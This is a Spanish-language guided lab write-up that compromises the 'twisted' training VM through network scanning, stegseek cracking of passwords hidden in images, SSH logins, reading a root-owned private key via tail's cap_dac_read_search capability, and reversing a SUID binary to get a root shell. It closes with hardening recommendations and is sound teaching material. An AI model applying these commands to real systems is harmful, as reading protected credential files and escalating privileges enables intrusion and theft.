Laboratorio Guiado - 06-twisted

Objetivo: Comprometer un sistema Debian expuesto en la red local, comenzando con reconocimiento de red y servicios, hasta la obtención de una shell como root, aplicando técnicas de **esteganografía**, abuso de **capabilities**, **ingeniería inversa**, y escalada de privilegios. Este laboratorio sigue los controles y objetivos definidos por la guía **OWASP Testing Guide v4** (Enlace a la máquina).

1. Información del Entorno - OTG-INFO-001

Identificación de activos en la red local

Usamos `arp-scan` para detectar hosts conectados a la red. Filtramos por dispositivos conocidos (en este caso, “PCS”).

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.66
```

`arp-scan` nos permite descubrir hosts mediante el protocolo **ARP**, independientemente de si hacen ping o tienen firewall. Encontramos un host activo en **`192.168.1.66`**.

---

2. Enumeración de Puertos y Servicios - OTG-INFO-002

Escaneo completo de puertos TCP

Realizamos un escaneo completo de puertos TCP con Nmap:

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.66

PORT     STATE SERVICE
80/tcp   open  http
2222/tcp open  EtherNetIP-1
MAC Address: 08:00:27:B0:2F:A6 (Oracle VirtualBox virtual NIC)
```

El escaneo nos revela dos servicios: un servidor web (nginx) y un SSH corriendo en el puerto **2222** (lo cual puede indicar que se quiso ocultar o proteger de escaneos automáticos).

Luego, lanzamos un escaneo enfocado para obtener más detalles:

```
❯ nmap -sCV -p 80,2222 -oN 02-targeted.txt 192.168.1.66

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 67:63:a0:c9:8b:7a:f3:42:ac:49:ab:a6:a7:3f:fc:ee (RSA)
|   256 8c:ce:87:47:f8:b8:1a:1a:78:e5:b7:ce:74:d7:f5:db (ECDSA)
|_  256 92:94:66:0b:92:d3:cf:7e:ff:e8:bf:3c:7b:41:b7:5a (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nos confirma:

- **nginx 1.14.2** en el puerto 80.
- **OpenSSH 7.9p1** en el puerto 2222.

Ambos servicios son versiones antiguas, potencialmente vulnerables.

---

3. Análisis de Archivos Web (Esteganografía) - OTG-CRYPST-001

Extracción de mensaje oculto en imágenes

Al navegar al sitio web, se encuentran dos imágenes. Usamos `stegseek` para detectar si contienen datos ocultos con contraseñas de wordlists.

```
❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt cat-hidden.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "sexymama"
[i] Original filename: "mateo.txt".
[i] Extracting to "cat-hidden.jpg.out".

❯ stegseek -wl ~/Documentos/wordlists/rockyou.txt cat-original.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "westlife"
[i] Original filename: "markus.txt".
[i] Extracting to "cat-original.jpg.out".
```

Usar imágenes como medio para ocultar credenciales es una técnica común en CTFs y ejercicios de pentesting. Aquí, encontramos *credenciales* en texto plano:

- Usuario: `mateo`, Password: `thisismypassword`
- Usuario: `markus`, Password: `markuslovesbonita`

---

4. Autenticación sin Seguridad Adicional - OTG-AUTHN-004

Validamos el acceso remoto a través de SSH usando las credenciales descubiertas.

Probamos acceso SSH en el puerto 2222:

```
❯ ssh mateo@192.168.1.66 -p 2222
...
mateo@twisted:~$
```

```
❯ ssh markus@192.168.1.66 -p 2222
...
markus@twisted:~$
```

Ambos accesos funcionan. Esto revela una falla de seguridad crítica: uso de contraseñas débiles o predecibles, sin autenticación multifactor o políticas de rotación.

---

5. Descubrimiento de Archivos Internos - OTG-INFO-003

Buscar pistas internas o secretos revelados por error.

En el home de los usuarios, encontramos unas notas:

```
markus@twisted:~$ cat note.txt
Hi bonita,
I have saved your id_rsa here: /var/cache/apt/id_rsa
Nobody can find it.

mateo@twisted:~$ cat note.txt
/var/www/html/gogogo.wav
```

Notas como estas son frecuentes en entornos descuidados o simulados. Una hace referencia a una clave privada (`id_rsa`), que podría dar acceso a un usuario privilegiado.

---

6. Bypass de Permisos (DAC) - OTG-ACCESS-001

Leer archivos protegidos aprovechando capacidades de Linux.

La clave privada no es legible directamente:

```
markus@twisted:~$ ls -l /var/cache/apt/id_rsa
-rw------- 1 root root 1823 Oct 14  2020 /var/cache/apt/id_rsa
```

Revisamos capabilities del sistema:

```
markus@twisted:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
/usr/bin/tail = cap_dac_read_search+ep
```

El comando `tail` posee *capabilities* especiales, específicamente `cap_dac_read_search`, la cual permite ignorar los permisos de control de acceso discrecional (DAC, *Discretionary Access Control*). Gracias a esto, es posible leer archivos aunque el usuario no tenga permisos establecidos para hacerlo.

Utilizamos `tail` para visualizar el archivo `id_rsa`:

```
markus@twisted:~$ tail /var/cache/apt/id_rsa -n 30

-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
```

---

7. Acceso mediante Clave Privada - OTG-AUTHN-004

Establecemos una conexión mediante SSH con la clave obtenida:

```
❯ ssh bonita@192.168.1.66 -p 2222 -i id_rsa_bonita
...
bonita@twisted:~$
```

Ya no necesitamos contraseñas. El sistema permite login con clave privada sin passphrase, lo cual vuelve crítica la pérdida de esa clave.

---

8. Escalada Local mediante binario SUID - OTG-PRIV-001

Dentro del home de `bonita`, encontramos un binario llamado `beroot` con permisos **`SUID`**. Al ejecutarlo, nos solicita un código:

```
bonita@twisted:~$ ./beroot
Enter the code:
```

Transferimos el binario a nuestra máquina para analizarlo con ingeniería inversa:

```
bonita@twisted:~$ python3 -m http.server
```

```
❯ wget http://192.168.1.66:8000/beroot
```

Abrimos Ghidra, cargamos el binario y revisamos la función `main`, donde identificamos la verificación del código:

```
undefined8 main(void)

{
  int local_c;

  printf("Enter the code:\n ");
  scanf("%i",&local_c);
  if (local_c == 0x16f8) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
  }
  else {
```

```
    puts("\nWRONG");
  }
  return 0;
}
```

Convertimos 0x16f8 a decimal:

```
❯ printf "%d" 0x16f8

5880
```

Podemos observar que si el código ingresado es **0x16f8** (que equivale a **5880** en decimal), se escalan privilegios a root mediante **setuid(0)** y **setgid(0)**, y se ejecuta una shell con **system("/bin/bash")**.

Ejecutamos el binario e ingresamos el código:

```
bonita@twisted:~$ ./beroot
Enter the code:
 5880
root@twisted:~#
```

`beroot` es un binario casero con permisos SUID que no debería estar ahí. El código está embebido, sin autenticación real. Esta escalada es directa a `root` y representa el peor escenario de seguridad.

---

9. Recomendaciones de Seguridad

OTG-CRYPST-001 – Esteganografía como canal de fuga

- Prohibir el uso de archivos de medios sospechosos o subirlos sin revisión.
- Implementar soluciones **DLP** (Data Loss Prevention), para detectar archivos con metadata o contenido oculto.

OTG-AUTHN-004 – Contraseñas débiles y claves sin passphrase

- Forzar autenticación por clave pública con passphrase obligatoria.
- Usar autenticación de múltiples factores (MFA) para acceso remoto.
- Aplicar políticas estrictas de rotación de claves y contraseñas.

OTG-ACCESS-001 – Abuso de capabilities

- Eliminar capacidades innecesarias (`setcap -r /usr/bin/tail`).
- Auditar el uso de capabilities con herramientas como `Lynis`, `auditd`.

OTG-PRIV-001 – Binarios suid inseguros

- Eliminar cualquier binario no estándar con SUID (`chmod -s beroot`).
- Implementar AppArmor o SELinux para controlar binarios suid personalizados.

OTG-INFO-002 – Servicios Expuestos

- Cambiar puertos no es una medida de seguridad efectiva.
- Monitorear puertos abiertos regularmente.
- Usar firewalls para restringir acceso a puertos innecesarios.

Revisión General del Sistema

- Restringir SSH a IPs confiables mediante `AllowUsers` y reglas de firewall.
- Implementar detección de intrusos con Wazuh o Snort.
- Auditar continuamente logs (`/var/log/auth.log`, `/var/log/secure`).
- Automatizar backups cifrados y monitorear integridad de archivos.